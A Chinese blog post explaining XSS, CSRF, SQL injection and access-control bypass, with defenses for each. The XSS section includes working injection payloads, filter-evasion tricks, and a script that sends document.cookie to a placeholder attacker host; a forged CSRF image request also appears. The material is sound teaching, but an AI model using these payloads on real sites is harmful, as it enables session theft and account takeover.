常见web安全漏洞

这几天Strtus2的安全漏洞掀起了热烈讨论。随着网络越来越深入生活,以及新的互联网产品不断推出,安全形势更加严峻了。

我所在的企业,自从成立了安全部门之后,我也不断的收到了若干安全漏洞报告。

所接触到的漏洞主要有下面几种:

  1. XSS 跨站脚本攻击
  2. CSRF 跨站请求伪造
  3. SQL注入
  4. 权限绕过

1. XSS

本章节代码在Chrome50下测试

很普遍的漏洞,危害非常大。

XSS分两种,反射型xss和存储型xss。两者不同支出就在于是否会持久化到服务器。

但是不管哪种,本质上是用户在页面动态文本的地方输入了js,并且被浏览器解析执行。

js可以获取cookie等敏感数据。因为http无状态,身份识别通过cookie来传递。

防护方式主要是对用户提交的数据进行过滤,注入<script>等标签,通通过滤掉,或者进行转义。

举例

现在有这样一个文本框,用户可以提交内容到服务器

1
<input name="comment"/>

并且在页面上会展示用户提交的内容,比如下面

1
<span style="color: red">${comment}</span>

观察dom结构,发现是一个span标签,下面演示几种攻击

直接插入scpript

我啊最简单的办法就是闭合原有的span标签,插入scpript

1
我啊</span><script> alert(/script/)</script>

dom节点变成,下面这样,js被执行

1
<span style="color: red">我啊</span><script>alert(/script/)</script></span>

来一个偷走cookie的示例,获取cookie,并将cookie发送到攻击者的服务器

1
2
3
4
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://domain/xss/s.htm?c='+encodeURIComponent(document.cookie);

我们这里之所以创建img,而不是发送ajax,是因为浏览器的安全机制–同源策略,不允许发送ajax到不同源的服务器。

所谓不同源,协议、端口、主机任意不同均属于不同源

如果服务器过滤<script>标签,怎么办

在标签属性中输入js

1
我啊</span><a href="javascript:alert(/a/)">点击</a>

下面这种在ie6下有效。

1
我啊</span><img src="javascript:alert(/js/)"/>

如果用户屏蔽了javascript关键字怎么办?

1
我啊</span><a href="javascrip&#116;:alert(/a/)">点击</a>

触发事件会执行js

1
我啊</span><em onclick="alert(/click/)"> 点击</a>

1
我啊</span><img src="" onerror="alert(/img/)"/>

2. CSRF 跨站请求伪造

举例

比如用户已经在A网站登录,A网站有如下链接
http://localhost:8280/xss/doComment.htm?comment=?

如果用户在同一个浏览器中放问B网站,B网站页面上有如下代码,当用户访问到这个页面时候,会以已登录用户的身份发请求到A网站。

1
<img src="http://A/xss/doComment.htm?comment=哈哈" />

防护方式是判断referer,或者表单提交需要有token.

referer表示请求的来源页面,在发送http请求的时候,浏览器会自动带上的,比如你在a.com/a.htm 请求a.com/b.htm,那么referer的值就是a.com/a.htm

服务端通过判断referer,就可以判断请求来源,从而屏蔽不合法请求。

防跨站请求伪造的一个典型应用就是防盗链

3. SQL注入

SQL注入,个人认为现在不太常见了。

本质是将用户输入的数据直接拼接到sql中了。

使用预编译SQL可防护

4. 权限绕过

这个比较常见,常见于使用DAO框架的应用。

DAO框架的更新删除通常只需要一个主键,如果只通过主键操作数据的话,被人遍历主键,权限即被绕过。


参考文档

http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html
http://soft.yesky.com/security/156/30179156.shtml